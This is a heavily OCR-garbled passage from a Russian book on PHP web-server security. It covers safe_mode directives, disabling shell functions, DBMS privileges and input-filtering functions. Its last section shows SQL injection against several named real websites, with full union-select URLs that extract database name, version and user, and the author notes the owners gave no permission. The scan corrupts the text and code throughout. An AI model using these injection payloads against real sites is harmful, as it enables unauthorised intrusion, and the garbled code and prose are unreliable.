IUEHHBI PEXXUM, IIPH KOTOPOM BCE MOTEHLUAIbHO OMACHBIE OfNepaLHy H QYHKUHH,
3anpelnensl. Korna Bbl HauMHaeTe paspabaTbiBaTh CLESHApHH, XKEAATENBHO BKIIO-
YHTh 3Ty ONUMIO. ECiM BB CTOAKHYAMCH C cHUTyauueii, korga Heo6xonumas BO3-
MOXKHOCTb WHTeprperaTopa He paboTaeT, TO MOXHO OTKIIOYHTbL AHPEKTHUBY'
safe_mode, HO MPU 3TOM cneayer Gonbille BHUMaHHUA yaensTh Ge3onacHOCTH H
GbyHKUMAM, KOTOPbIe HE cMOT/IH paboTaTh B 3al(MIEHHOM PEKHUME.

Ecnu Baw cuexapuii paboTaeT B 3aLHIIEHHOM peKHMeE, TO 3TO 3HAYHT, YTO HUYE-
ro OfnacHOro B HeM He UCIIOAb3yeTcs, U BEPOATHOCTb OOHApPY)KEHHUSA YS3BUMOCTH
yMeHbIUaeTcs yxe cama 1o cebe, naxe eciiu pexHuM safe_mode HE BKIIOYEH.

[1pu paboTe B 3aLHLIEHHOM PeXHUME pacCMOTPHTE CACAYIOILUE THPEKTHBBI, KOTO-
pble MOTYT MOHHU3UTb 6€30NacHOCTb, 6€3 OTKIIOYEH U AUPEKTHUBLI safe_mode:

0O safe_mode_gid — 3Ta AUPEKTHBA 3aaeT HACHTH(HKATOp BiaaenbUa WM
rpynnsl Bnajensues ¢aiina KoakeH COOTBETCTBOBaTh HAEHTHUKATOPY MOJb-
30BaTens (WiM TIpynnsi), OTKpbiBluero ¢ain. Ecad BkialoyeHa AHUpEeKTHBA
safe_mode, 2 safe_mode_gid HE BKNIOYEHA, TO MpaBuia AOCTyrna CTAHOBATCA
Gonee xecTkuMu — ¢aiin MoxeT ObITb OTKPLIT, TOJNILKO €C/Y HAEHTHHUKATOP
Biagenbla Gaiina coBnanaer ¢ UAeHTUQHKaTOpOM nonb3osatend. Unentudu-
KaTOpbl FPYNIbl BAaAesabues ¢aiina v noAsL3oBaresis B 9TOM CAyvac He npose-
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paloTca Ha cooTBercTBHe. Ecnu aupekTHBbl safe_mode H safe_mode_gid
OTKNIOYEHBI, TO HHKAKOH TIPOBEPKH HE npoucxoauT. Paitn 6yneT OTKpLIT, €CNH
Y NIOJb30BATEAA AOCTATOYHO IIpaB;

O safe_mode_exec_dir — 3Ta AUPEKTHBA 33Ja€T AUPEKTOPHH, COJAEpKalHE
MpOrpaMMbi, KOTOpbi€ MOTYT ObiTb BBIMTOAHEHbI. TOABKO MpOrpaMMbi U3
3TUX AUPEKTOPUH MOTYT BBIMOAHATL TaKHe QYHKUHUH, KaK system(), exec ()
MT. O,

O safe_mode_allowed_env_vars — 3Ta AUPEKTHBA COOCPMT CITUCOK MpedukK-
COB MEPEMEHHBIX OKPY)XEHHSA, KOTOpbleé MOryT H3MeHaTbca. [lo ymonvauHio
M3MEHEHHUIO TI0/1EXKAT TOJBKO NMEpPeMEHHbIE OKPYXKEHHUS, HMEHA KOTOPbIX Ha-
YUHAIOTCA ¢ npedukca PHP_. ECAW QUPEKTHBY OCTaBUTh MYCTOMH, TO MOXKHO By-
IET U3MEHATb BCE NEepeMEeHHbIE;

0 safe_mode_protected_env_vars — 3Ta AUPEKTHBA COACPIKHUT CITHCOK IIpe-
($UKCOB UMEH TMMEPEMEHHBIX OKPY)KEHHA, KOTOpbiE ABHO 3anpeLlleHbl K H3MEHe-
HUIO B 3aullMuieHHOM pexkuMe. [lo yMoAuYaHWKO aOWpeKTHBa paBHa
LD_LIBRARY_PATH. Ecnyn BbI pa3pelUHUIH UIMCHECHHUE BCCX MCPEMEHHBIX, HO NIH-
PEKTHBA paBHa PHP_, TO BCE MIEPEMEHHBIE OKPYXKEHHA C NpedUKCOM PHP_ OyayT
HeZOCTYIHB AN peAaKTHPOBAHUA.

C momolblo AMPEKTUBBI disable_functions MOXKHO 3aNPETUTH BHLITIONIHEHHE OII-
pedeneHHbIX QYHKUHHA. 5| HACTOATENBHO PEKOMEHAYIO 3anpeTHTb QYHKUUH Bbi-
nonHeHusa koMaHa OC (system(), exec(), passthru(), shell_exec(), popen()),
KOTOPbI€ Bbl HE HCIIOB3YETE,

PHP-cueHapuy mo3sonisiOT OTKpbIBaTh (hakibl Ha yAaIeHHOM KOoMObloTepe (Yyepes
FTP- unu HTTP-coeaunenue). Ecau aupekTuBa allow_url_open BKIO4YeHa (on),
3Ta BO3MOXHOCTb AOCTYIIHA. Ec/iv BBl He UCMoNb3yeTe yaaneHHble KOMIbIOTEPHI,
TO CNle/1yeT YCTAaHOBUTb AUPEKTHBE allow_url_open 3HAYEHHE of f. Be3onacHOCTH
Web-cepsepy 3710 He npuOaBuT, HO, NO KpaliHeli mepe, cnoxkHee OyaeT UCMONbL30-
BaTh e€ro B KauyecTse 30MOU. MHbIMU cnoBamu, naxke ecnd Xakep B3JIOMaet Ball
Web-cepBep, OH He CMOXET BBLINIOAHATL OMpenesieHHble CUEHAPHHU And MpoBeae-
HWA aTaK Ha ApyTrHe.

KoHeyHo, 3auura ¢ noMoulblo allow_url_open Manodd@eKTHBHA, MOTOMY 4TO
ecnu Baw Web-cepsep B3nomaH, TO XaKep CMOXET MOANPABUTbL 3TOT MapameTp
WU HaWTH Apyro# cnocod npoBeaeHUs aTaky.

Pabota ¢ ¢aiinamu Bceraa onacHa. Ecnau B BailieM cUeHapvK Hcnosb3yercd pyHk-
ua fopen(), U XaKep CMOr fepenaTs e ¢aiin /etc/passwd, TO CNHCOK NOJAB30BA-
1¢cn1eil CUCTEMBI CTaHOBUTCA obenoctynubiM. UTo6b1 06e3onacuth cebs oT Takol
owxOKH, B KoHdUrypaudoHHoM ¢aiine php.ini B AMpekTHBE open_basaedir HyXKHO
NEPEUCNHTL UCPe3 ABOETOUME paspeilicHiibie /NS OTKPbITHA 11YTH,
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5.5. 3awmTa CYbl

Owubke, npuBoasiied K BO3MOXKHOCTH SQL-HHBEKLMH, MTOABEPXKEHBI CUCHAPHH
Ha BCeX A3bikax nporpammupoBaHus U sce CYBJI. leno B TOM, 4TO K 3TOMY MpH-
BOAMT ocobeHHOCTDb A3bika SQL, a xakep HCIONb3yeT HMEHHO €ro BO3MOXHOCTH.

[Mpocrefias 3amura oT SQL-UHBEKUUH CTPOMTCA CAeAylOWMM 06pa3oM: BB
JOMXKHBI 3allpellaTh HCMOAb30BaTh WKW H3onupoBaTbh (06e3Bpe)xuBaTh) OAUHAp-
HYIO KaBbIYKYy TaM, rieé OHa MOXXET HAHECTH BpE.

B0o3MOXHOCTH, KOTOpbi€ MOXKET MOJYYUTb XaKep MpW HCmoab3osaHuu SQL-
MHBEKLHH, TAKKE 3aBUCAT UMEHHO oT Ucnonbiyemoit CYBJI. Haubonee nomynsp-
Ho¥ aAsnserca MySQL, notomy 4to 3Ta 6a3a AaHHbLIX 6ecryiaTHa W BXOAMT B MNO-
CTaBKY OONbIUMHCTBA AMUCTPHOYTHBOB Linux, ¥ MMEHHO MO3TOMY MbI €€ U pac-
CMaTpHBAIH.

Ho B HMHTepHETE MOXHO BCTpETHTb MHOXKECTBO Web-cepBepoB, KOTOPbIE HCIIOb-
3ytoT 6onee MouwHbie (ob6nagarowde 6GOMBLIMM KOAHYECTBOM BO3MOXKHOCTEN)
CYBJ, nanpumep, Oracle unu MS SQL Server. Ho uMenHo gonosaHuTenbHbie
BO3MOXXHOCTH MOIYT [aThb XaKepy OMacHbie MPHBHJIErHH NpU HENpaBUIbHOW Ha-
CTpoO¥iKe.

[TomHuTe, YTO y4YeTHas 3aMKCh, MOA KOTOPOit cueHapuu noakntodaoTes kK CYB],
aomxHa obnagath TOABKO MHUHUMAalbHBIM HabOpOM BO3MOXHOCTEH. Hamuoro
nyywe Gyner, ecnu AN HENPUBHUACIHPOBaHHBIX NMONb3oBaTENEH cueHapuid 6yner
NOAKIIOUHATLCA 0] YY4E€THOH 3aMMChIO C MHHUMAJIBHBIMY BO3MOXKHOCTAMMH, a CLE-
HapW¥ aIMUHHCTPHPOBAHUA — MO APYroH Y4eTHO#H 3anuchio.

Y npocThix MoAb3oBaTeAeH He HOMKHO ObITb BO3MOXKHOCTH YNalATh 3afHCH, MO-
3TOMY AJI8 HUX JOJ/DKEH CTOATH 3alpeT Ha BbIOJHEHHWe onepaTopa DELETE. Ecnu
He noApa3yMeBaeTCa HUKAKHX onepauuii 0GHOBAEHHS, TO HEOOXOOUMO 3aMpeTHTD
U OmepaTop UPDATE. BcTaBka naHHbIX HEOOXOQMMa TaKUM CLEHApHAM, Kak (Gopym
WK FOCTEBas KHUIa, a €CId Y Bac CUEHAPHH, KOTOpPbie TOMbKO oToOpaXaloT nAaH-
Hbl€ (BLIMONHAIOT ONEpaTop SELECT), TO He06XOAUMO 3anpeTHTh U INSERT.

HMcnonb3oBaHua pacluiMpeHHBIX GQYHKUMH ¥ npoueayp HeobXxoaMmMo CTapaTbCa W3-
Oerats. [lo ymon4anuio Bce OHM HO/KHBI ObITh 3ampelieHb!, U BbiAaBaTh paspe-
IWEeHUA HeoOX0AMMO TOALKO Ipy KpakiHel HeoOxoaumocTH. Koraa HacTymaer aTa
kpaitHocTh? Korna 6e3 naHHoO# BO3MOXHOCTH He 060MTHCD.

B MS SQL Server ecTb oaHa oueHb onacHas npoueaypa — xp_cmdshell, € 110-
MOLILIO KOTOPO MOXKHO BBIMONHATL KOMaHAbI OT UMEHHW YHYETHOH 3anucH, noa
xoTopoii pabotaer MS SQL Server. Tak kak ata CYB]] o4enb yacto paboTaer non
CHCTEMHOM YUYETHOH 3aMHChIO, TO XaKep MOXET NONYYHUTL HEOrpaHHYEHHbIE Npasa,
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Ewe oaHa mnpoueaypa, koropas MOXKeET ObiTh OMacHo#, — sp_makewebtask, KO-
TOpas cCO3faeT HOBYIO 3a4auy, a Takke QyHKUHU OTIIPaBKK COOOIEHH i JIEKTPOH-
HOM MOYTHI xp_startmail, xp_sendmail. [ToueMy Tak omacHs! MOYTOBbiEe (PyHK-
uuu? Jleno B TOM, YTO Xakepbl MOTyT MCIOAb30BaTh Bail Web-cepsep ans
pacchbUIKH crama, KOTOpblf MOXKET OKas3aTbCA AOCTATOYHO omacHeiM. Uem? Baiu
Web-cepBep MOXKeT NOMacTb B CNaM-JIMCThI, U BallM [OJIb30BATENM HE CMOTYT HO-
Ay4aTb HY)KHYIO KOPPECIIOHOEHLUHIO, a U HE UCKIIIOYEHbI NpOoOIeMbl ¢ MpaBooOX-
paHUuTenbHbIMU OpradaMH. CrlaM BO MHOI'MX CTpaHax CTasll YrOAOBHO Mpechaefye-
MbiM. [la, BbI HE BUHOBATHI B TOM, YTO Xakep Hcnonb3osan Bail Web-cepsep, u Bac
ONpaBAAlOT, HO NpobAEMbI C 3aKOHOM HHYEro Xopoiuero He npuHecyt. Passe uro
MOXHO 3apaboTaTh BPEMEHHYIO CKaHAaNbHYIO H3BECTHOCTb. Ecnud BaM HyxkeH
CKaHAal, TO MOXKeTe OCTaBUTL AbIPY M MOBECUTL 0OBbABNEHHe: "Bianomalite mena”,
UK 0OBABUTE KOHKYPC Ha Ay4Luuii B3NIOM.

5.6. HekoTopbie pekoMeHaaLUUU

YHuBepcanbHOE pelleHHe 10 3aluTe NPEeIOKHUTb TPYAHO, MOTOMY YTO CYLLECT-
ByeT MHOXECTBO Pa3jIMU4HbIX §a3 NaHHbIX M Pa3fIMYHBIX A3BIKOB MPOrpaMMHpPOBa-
HHA 117 HAITUCaHUA CLIEHAPHEB, HO HEKOTOPbIE PEKOMEH LMK 1 BaM BCE Xe AaM.

Mb! paccMOTpend pa3fiM4HbIE BAPHAHTHI, C TIOMOLIBIO KOTOPBIX XaKep MOXKET IIpo-
HUKHYTb Ha Web-cepBep ¥ B3IOMaTh €ro ¢ MoMoLIbLI0 KiaccHyeckoit ataku "SQL-
HHBEKLHUA". ITO HEOOXOAUMO AnA TOro, YTOOBI BB MOTJIH CaMM NPOTECTHPOBATH
cBoiH Web-caiiT Ha BO3MOXHbIe OlIUOKH. Ecau BbI ABAseTeCh NPOrpaMMHCTOM, TO
He JOBEPANTE CBOMM 3HAHUAM W OIIbITY, HE HaleHTeCh, YTO Ball Koa 6e3ynpeueH.
Bce mbi A10a1 ¥ MOxKeM 3a6biTh NPOBEPUTH ONPEACTCHHbIH MapameTp WK caenarhb
HETMOAHYIO MPOBEPKY.

Bce nmapamerpei, koTopbie nepenarotca B SQL-3anpockl, XenaTesabHO OKPYXKaTh
ONMHAPHBIMH KaBbIYKAMH, HarpUMeED:

SELECT *

FROM smf_polls

WHERE ID_POLL=$pollid

B stom SQL-3anpoce, 4ToObl MCKIKOYHTHL BO3MOXKHOCTb aTakd, HEO6XOaHMO
CNMIIKOM MHOrO MPOBEPOK HAa HalWuyue B napamerpe npobenios, KaBbi4eK, CHMBO-

nos "%","_","+", "-" u 1. 1. Bce 3TH cHMBONBI MOTyT OBbITH OMACHBI.

Ecnu napamerp 3aknioueH B KaBbIUKH, Kak B CAEAYIOLLEM NIPUMeEpe:

SELECT *
FROM smf_polls
WHERE ID_POLL='S$pollid'
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. - |
TO BaM AOCTaTOYHO NPOBEPHTL MapameTp $pollid HA HAJHYHME OMACHOH OaMUHAP-
HO KaBbIYKH, H eCiH Heo6xoauMo, To cuMBoJia "%".

Ecnu mapamerp, KOTOpbI MojiyuaeT cuUeHapuid, YMCIOBOH, TO €ro OYEHb JIErko
npoBepUTh. B cBOUX npoekTax A Hanucan QyHKLHIO checknum, KOTOpas BLIrJIAAUT,
caeayouuM obpasom:

function checknum($var)

{

Svar=preg_replace("/[(~0-9])/1i", "", Svar);
return S$var;

}

DyHKUHA NOAYYaeT B KayeCTBE napaMeTpa MepeMEHHYI0 U C TNIOMOLUBIO peryJssp-
HOrO BbIPaXKEHHA BBLIPE3ACT K3 ITOH MEPEMEHHON BCE, YTO HE ABJIAETCHA YHUCIIOM,
T. e. Mobble Apyrue cuMBoNbl ¥ Oykebl. Tenepb nepea UCMOAB3OBAHUEM IapaMeT-
pa, Ha KOTOpPbI MOXET MOBAHATH M10/b30BaTEAL (MTOJNyUaeMblii Yepes dopmy, 3a-
npocoM GET uau U3 Cookie), BbINOAHAEM CASAYIOWEE:

$id = checknum($id);

Takum o6pa3zoM, MOXKHO rapaHTHpOBaTh, YTO [IapaMETP COAEPXHUT TOJNILKO LUM(pEE
¥ HY4ero Apyroro u asaserca abconoTHo 6e3onacHbiM ana SQL-3anpoca.

s npoBepkH CTPOKOBBIX MEPEMEHHbIX MOXHO HamucaTth QYHKUHIO checkvar'

koTOpas 6yaeT BLIrsaeTh MPUMEPHO cAeayouM 0bpasom:

function checkvar ($var)

(
$var
Svar

addslashes ($var) ;
htmlspecialchars ($var);

recurn Svar;

}

B 3710i1 ¢yHKUMH B nepeMeHHON cHavana ao6aBndAloTCa CABLM AN BCEX OAMHAP:
HbIX KaBbldek ¢ riomoubio QYHKUMH addslashes, a 3aTeM HTML-oneparopsi mpe-
BPALLalOTCA B MPOCTOM TEKCT C MOMOLWIBID htmlspecialchars, KOTOPbIA MPOCTE
otobpaskaerca Ha Web-cTpaHule W He BAuseT Ha ee GopMaTHPOBAHHE. |

HMcnonb3osanue 3Tux QyHkuui nomoxker caenarb Balwld cueHapud 6esonacHee,
['naBHOoe — He 3abbiBaTh NPOBEPATH BCE NepeMeHHbIe, HA KOTOPbIE MOXKET IOBIH=
ATb AONb30BaTENb.

JaBaiiTe NOCMOTPHUM, KaK MOXHO M3MEHHWTb JIMCTHHT 5.1 ana Toro, 4Tobb K3ba-
BHUTb €ro OT OHOKH:

Susername=$_GET([ 'username’'];
Susername = checkvar (Susername) ;

print ("Search: <b>$username</b>");
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[locne coxpaHeHHs AaHHBIX, MEpEeAaHHBIX MOJb30oBaTeNeM B NepeMeHAOl
$username, NepeMeHHas nNpoBepAeTcs ¢ NMOMOUIBIO (PYHKUMH checkvar. Tenepb
nonpobyiite nepenath 4yepe3 ¢opmy cnoso hacker ¢ onHHapHOW KaBBLIUKOW HA
koHue. B pesynbrare He OyaeT HUKAKHX OLWIHOOK, MOTOMY UTO 3aNpoC KOPPEKTEH,
T. K. Iepea OAHHapHOM KaBbiukOH nosBHTCA cn3iu (puc. 5.10).

Puc. 5.10. Nocne npoeepky nepeMeHHOH

[lvwnTe 3anpochl aKKypaTHO M Tak, 4TOObI CHMBON MPOLICHTA HE CMOT TMOBIHATH
Ha pe3ynbTaT paboThl cueHapua. Beipe3aTs 3TOT cUMBOJ-B DOJILLUIMHCTBE CITy4aeB
HET CMbIC/a, pa3Be YTO B MapaMeTpax, Yepe3 KOTOPhIE NepeaaloTCs HMs Nnoab30Ba-~
TEAA U Napob.

[Tpobaema npouenTa W NOAYEPKUBAHWA OUYEHb OMAcHa W TEM, HTO (PYHKUMH
addslashes H htmlspecialchars HHKaK H€ BNHAIOT Ha 3TOT CHMBON H HE MOTyT
obe3onacuth. EauHCTBEHHbIH cnocob: yOupaTh CHMBOJI MpOUEHTa C MOMOLLBIO
peryasipHoro BbipaxkeHus. Tonbko He 3a0biBaiiTe, YTO MPOLEHT U NOAYEPKHBAHHE
paboTaloT TONbLKO Tam, rae CPaBHEHHE C NEPEMEHHON NPOMCXOAMT C MOMOIRBLIO
ofiepaTopa LIKE. B ocTanbHbix ciiyyasx NpoBepKH Ha 3TH CHMBOJbI GECCMBIC/IEH-
Hbl, MOTOMY YTO OHW He pabOTalOT U HE UMEIOT CNEUMANBbHOro 3HaueHus ana SQL-
cepeepa.

ican Heobxonnmo, utobObl onpeneneHHas nepeMeHHas Obina 4ucnoBol, TO TYT
MOXCHO TIOCTYNHTb HEMHOTO TIpOLLE:

$id = (int) $_GET['id'];
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B 3TOM npuMepe B nepeMeHHYIO $id 3amMCbiBaeTCA 3HAYEHHEe OAHOWMEHHOTO Ma-
paMeTpa GET, HO IIpYU 3TOM B CKOOKaxX SBHO YKa3biBaeTCH, YTO THII NEpeMEHHOM
AomKeH ObITb YHCNOBLIM (int MIM integer). Tenepb, ecnu B mapamerpe 6yayT
CHMBOJIbI, KOTOPBIE HE ABIAIOTCA UK pamMH, TO pesyibTatoM Oyaer owmbka 4 ne-
peMeHHas $id OyAer mycToi (paBHa HyO).

5.7. lNouck yassumoro PHP-cuenapus

B aTOM pa3snene Mbl pacCMOTPHM Ha MpPaKTHKE MOUCK OWHO60K U npuMepHo 060o-
3HAa4YUM AanbHeHIlWe AelCTBUA, KOTOPbIE MOXET BBITNIONIHUTL XaKep MU B3IOMa
Web-cepsepa. Bce Web-calitel 1 oiuubku, kotopbie nonanu B 31ot 0630p, —
peasbHbl.

5.7.1. Ownbka B xaTanorax nporpamm

QueHb 4acTO MOXHO BCTPETUTL Web-caiiThl, Ha KOTOPBIX, Ha NEPBbIH B3rAAMd, HC-
nons3yiorcas HTML-daiinsl, Ho B peansHocTH pabotaior PHP-cuenapuu. Ilpocre;
URL k HTML-¢aiiny asaserca Bcero Adilb MCEBAOHHMOM K peabHOMY CLEHA-
PMIO U CKpBLIBAET MepedaBacMbie MnapaMeTpbi. J{aBaHTe paccCMOTpHUM, KaK MOXXHO
B3jiomMaTh Takue Web-caiThl.

Honyctum, uto URL Web-caiita BbirasgutT cneayroumuM obpaszoMs
http://free-software-download.info/index.html. [{auHbiii npuMep ssnserca pe<
anbHbLIM U OTHOCHTCA k Web-caliTy free-software-download.info (puc. 5.11).

B peansHocTH ¢aiina index.html e cyuectsyer. [Tonpobyem obpaTuthea k daiin
index.php: http://free-software-download.info/index.php. Onpenenuts umeuﬂ
napaMeTpos ans atoro Web-caiita npo6ieMaTH4HO, HO 34eCh €CThb ONHA ocoﬁel:j
HocTb: ¢opMa ans mnoucka. Ouxa cceutaercs Ha PHP-daiin ¢ umene
showpads.php. [Tonpo6yem 4epes cTpoky noucka nepenatb 4ro-Hubyab, B pe3ynpl
tate noayyaem URL: http://free-software-download.info/showpads.php?sorta
Title&catid=&search=All &string=fcgdg&match=All

BoT TyT y>e MHOXECTBO napameTpoB, KOTOpbie MOXHO HCroab308aTh. [Iposepus
napaMerpbl, s BLIACHHWJ, YTO NepeMeHHas catid He puabTpyercs. [IporpaMMucTby
ABHO pacciiabunuchk W 3a6bUTH Npo NoMck, koTophiii He Mackupyerca nog HTML=
¢aitn. Ecav nepenath B napamerpe catid Mycop, TO Mbl YBHIUM coobumeHue of
ounbKe, Kak NOKa3aHo Ha puc. 5.12.

Janee yxe KnacCHUYECKHM METOAOM noabupaeM KONMYECTBO MOjei H MpoaosiKas
eM B3/1I0M. B 1aHHOM cnyuae Bcero wecTb noneil v 1 nonyuun caenyowuid URLA
http://free-software-download.info/showpads.php?catid=10% 20limit %201 %

20union %20select %201111,2222,3333,4444,5555,6666/*. Hanbuic NpOaOIIKAT
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B3JIOM 1 HE CTaJl, HO Y co0BIMTL 00 ouIHbKe aAMHHUCTPATOPY He CMOT Mo NpHyK-
He OTCYTCTBHSA afipecOB AJIA CBA3M.

Puc. 5.11. Web-cainr free-software-download.info

Tenepnr nepeiinem k ewe oaHoMmy Web-caiity www.4pcsoft.com (puc. 5.13) ®
paccMoTpuMm ero. 3peck Tawke PHP-cuenapuu W napamerpbl npauyTcs NoA
HITML-daitnbi.

llonpoGyem obparurscs k daiiny index.php n ybeaumcs, 4To OH CYLUECTBYET:
http://www.4pcsoft.com/index.php. Teneps nonpobyem nepenarb CUEHapHIO
naubosiee YacTo UCIMOAb3YEMblE HMEHA MapaMeTpoB: id, cat, category, product,
productid, otart, page, subcut. JIng Takoro Web-caitta nonxio 4wro-ro nony-
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yuTbcA. B maHHOM cnyvae OasanibHbiii noabop vepes naTh MHHYT MoKasan MHe,
YTO CYLIECTBYIOT CJIEAYIOLIHE TPH MapaMeTpa cut, subcut, start. Yro nmepena-
BaTh 3THM napaMeTpaM? Cat ABHO OTBEYaeT 3a Kareropuio. Cpeau kareropuii npo-
rpamm Ha Web-caiite ans npumepa s Bbibpan Games u 3arpy3wi cieaylowmit
URL: http://www.4pcsoft.com/index.php?cat=Games.

OrnryHO, nepeno MHOM 3arpy3iiIMCh BCe HIpbl, KOTOpbIE eCTh B Katasiore Web-caifra.
Tenepb NocMOTPHM, Kakue 31ech €cTb NoApasfensl, H nonpodyeM nepeaars WMs NoJ-
pa3jiena uepes napaMerp subcut, Hanpumep, cnexyrotmii URL nossonser 3arpy3qTs Bce
apkanHbie urpst: hitp://www.dpcsoft.com/index.php?cat=Games&subcut=Arcade.

PesynbraT cocTOMT U3 Heckonbkux Web-crpanuu. Ecnu Bbl X0THTE yBHAETL BCE
3anucu, HauuHas c¢ 20, To uucno 20 HyXHO nepenarb 4Yepe3 NapaMeTp starty
http://www.4pcsoft.com/index.php?cat=Games&subcut=Arcade&start=21.
PesynbTat npuBeneH Ha puc. 5.14.

Puc. 5.12. Coobwerune o6 owunbke na Web-caiite free-software-download.Info
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Puc. 5.14. ApkaaHble wrpb!
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BoT Tak BOT METOAOM Hay4HOTO ThiKa H C MTOMOLUBIO. CMEKAJIKH A BbIACHUA peasib-
Heii URL, koTopblii Hcnosnib3yerca s npocMoTpa KaTanora nporpamm. Janbiue
B3oMaTe Web-caliT He monyunioch W3-3a XOpoileii peas3aundy NPOBEpKH mapa-

METpOB.

Tyt coobwath 06 owmnbke HET cMbiCia, NOTOMY YTO HUYEro CTPALLHOIO MbI HE
HalLTH, TPOCcTO Y3Hanu peanbHbid URL

5.7.2. O cbyrbone

B nauno# kuure a 6yny He pas paccmarpusate Web-caiitel pyrbonbHol TemaTu-
KH, MOTOMY YTO B MOMEHT HalUCaHHUA 3TUX CTPOK MPOXOAUT YeMITHOHAT MHpa MNO;
¢ytbony. [lpocTo Ana moucka ya3BUMOCTell Yawie BCEro f 3amycKaro IOMCK M0
Web-caliTam onpeneneHHON TeMaTHKH M MPOCMATPHBAIO WX HA yA3BUMOCTH. DyT-:
6onbHas TeMaTHKa ceituac Haubonee akTyanbHa.

Urak, nepBuiii Web-caiiT, koTopblii mnomancas MHe HA rnasa, —
http://www.sigames.com. Ha nepBbiii B3rnag Ha rnasHoit Web-cTpanuue Bcej
cChIIKH 6€3 mapaMeTpoB, NMO3ITOMY A nepeiuen B pazaen download, rae npdcro
o6sa3aHb! 6bITH NapaMeTpel, U oHU TaM ObuTH. Cpasy ke Gpocuica B ryiasa napa
MeTp id. 51 nonpo6osan nepenate B HeM MYCOp U B HTOTe yBUIEN coobLieH e
ownbke. Knaccuueckuit npusHak Toro, 4To Bo3MoOxHa ataka "SQL-uHbeKuUa" 3
[lonpobyem pobaeuThL B napamerp oO6beaHHEHHE: union select null. M cHoBaj
nepen Hamu otnbka (puc. 5.15).

[Ipononxaem noabuparb KOAHYECTBO MOJEH, KOTOpbIE NoJay4aeT 3anpoc. Y MeHsd
nonay4usoce 17 mone#, noroMy uro ciaeayromuii URL nmokasan HaM o4eHb HHTE-
pecHbiid pe3yabTaT (pHc. 5.16): http://www.sigames.com/downloads.php?type=1
view &id=369 % 20union % 20select % 20null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null/*.

B nanHoMm ciyyae cHoBa ownbka, HO Tenepb OHa nMpou3owia B 270-0i cTpoker
cueHapus. CnenosaTeibHO, NapamMeTp HCMOAB3YETCA B HECKOJbKHX 3alpocax,
M OHH BO3BpalIAIOT pa3HOE KOAHYECTBO CTPOK. DTO 3HAYHT, YTO 0ObeaHHEHHE
He NONY4YWTCA, Bellb OAHH M3 3afpOCOB BCEeraa BepHET OIUOKY, H Mbl HE CMOXKEM
YBHAETb pe3yAbTaT 3anpoca. MOxHO MONbITaTbCA OrPaHHYMTbL BLIBOJ C IIOMO-
b0 limit 0, Toraa SQL-HHBEKUHA MOXET NMPoiTH B NEepBOM 3anpoce ycrell-
HO, W pe3yabTaT MoxeT O6bITh 0ToOpaxeH. Sl 3To He npoBepsana, NOTOMY YTO MEHA
3aMHTEPECOBRAO COBEPILIEHHO ApPYroe B 3ToM 3anpoce: uMs (aiina download.h,
ITO ABHO MOAYJb C KAKUMH-TO PYHKUHAMH, KOTOPbIE NOAKNIOHAIOTCA K OCHOB-
Homy cueHapuio. [Tonpobyem oOpatuTeca k 3TOMYy daiiny HanpaMyro uyepel
ctpoky URL. Pe3synbTaT BenukoneneH — nepea HamMy MNOABUACA KOO 3TOro
moayna (puc. 5.17).
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CE e e B SR ‘you roust be:registered with us
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Mare Vaughan brings his naw tegendary hints and tips séries to
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Puc. 5.16. B coobuwernm o6 owmnbke MOXHO YBUAETL CChINKy Ha cueHapuid download.h
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Puc. 5.17. NMonbiTka 00paTUTLCR K MOAYNIO OKa3anack yAauHOW

Mbi yxxe roBopriv 0 TOM, YTO HeNb3f XaKepy JaBaTb BO3MOXHOCTb oOpalarbcs
k daiiny nanpamyio (cm. pasd. 3.5). B naHHOM ciyyae Mbl y3HanH Koa MOAYS,
KOTOPbIA COAEP>KHUT 3aMpOChl, MO KOTOPLIM MOXXHO TIPHUMEPHO ONpPEENHTh CTPYK-
Typy 0a3bl JaHHBIX, HCMONb3YEMbIe TAONHULBI U T. A.

[Tpoananu3aupoBas KoA, 1 Hallen €ule Nnapy MHTEPECHBIX MECT, KOTOPbIE MOXHO
Ucnonb3oBaTh. Ecnu nporpaMMHCTBI He 3anaTaloT 3Ty AbIpKY (Kak Bcerga, f Co-
obuun uM o6 ownbke), To nonpodyiite nocMoTpeTh 3TOT MOAYANb. [loBepxHOCT-
HbIA B3rNs1 NOKasan MHOTO HWHTEPECHOTO W3 TOrO, YTO Mbl YK€ pacCMaTpHBalU
(cm. en. 3).

Jlaxke ecnu nporpaMMKCTBI 3anaTaloT 3Ty ouubky, nonpobyiTe NOMCKaTh YTO-TO
ewte. MHe Bnanenbubl Web-caiita He Janu paspeuleHds Ha TectupoBaHue Web-
cadTa, MO3ITOMY A HE CTan NPOBEPATH APYrHe MapaMeTphbi, KOTOPbIE TAKKC MOryT
ObITH YA3BUMBIMH.
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Cneayromuii Web-caiit, KoTOpbIHi onanca MHe Ha riasa: http:l/www.firﬁ.net.
HecMmoTps Ha 1o, uTO paciumpenns y scex ¢aiinos .html, ato ssHo PHP-cuenapuu.
He nonumaro, 3auyeM Hcnons3oBarh paciinpeHue .html, seab 310 abCONIOTHO He
JaeT 3aLiUThI.

[Tapy ™MuHyT, W omHOka Oblna HalineHa B cClEHAPHH UTEHHA HOBOCTEH:
http://www.fira.net/media/news/read.html. B xauecTBe napamerpa indexnum oH
MoNy4yaeT HOMEP HOBOCTH W HILET MO HEMY COOTBETCTBYIOLLYIO CTPOKY H3 6a3sbl
nauHbix. [Tonpo6yem nobasuts B 3TOT Napamerp "and 1=0". B pesynsrare nossu-
nacb Web-cTpaHuua ¢ nycro#i ueHrpanbHoii yacteio (puc. 5.18), T. e. HOBOCTb OT-
CYTCTBYET.

LI DI P T

Downioé‘d:: T .

Puc. 5.18. Mycran ueHTpanbHan yacts Web-cTpaHuus!
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[Monpo6yem mopoGparh KonuuecTBO moneil yeped obrvenauHenue. B pesynsrare
nonyuunocs aAesath nosed. [Tonpobyem mocmorpers Bepcuio 6a3bl JaHHBIX, UMA
nons3oBarens U uMsa 0a3bl gaHHeIX. lng 3toro ykassiBaem cnemyrowuii URL:
http://www.fira.net/media/news/read.html?indexnum=88 % 20limit % 200 %

20union %20select % 20null, DATABASE(), VERSION(),USER(),null,null,null,

null,null/*.

Ha puc. 5.19 MoxHO yBuaerh pe3ysbTar. IIpaMoyronsHHkamy BbiAesieHbl Moy-
YeHHble JaHHble, a MMEeHHO: B xadecTBe OC wucnonb3yerca kiod Linux (Debian),
MM TIONb30BaTeNd NpH NoAKIOUeHHHU K 6a3e naHHbIx ira@localhost, a uma 6a3bl
naHHbIX fira.

R L g & e

l@ei@:_ﬁe"a-ib,mgﬂ%w | Download:

jradlcalhost | Downloads " ' el

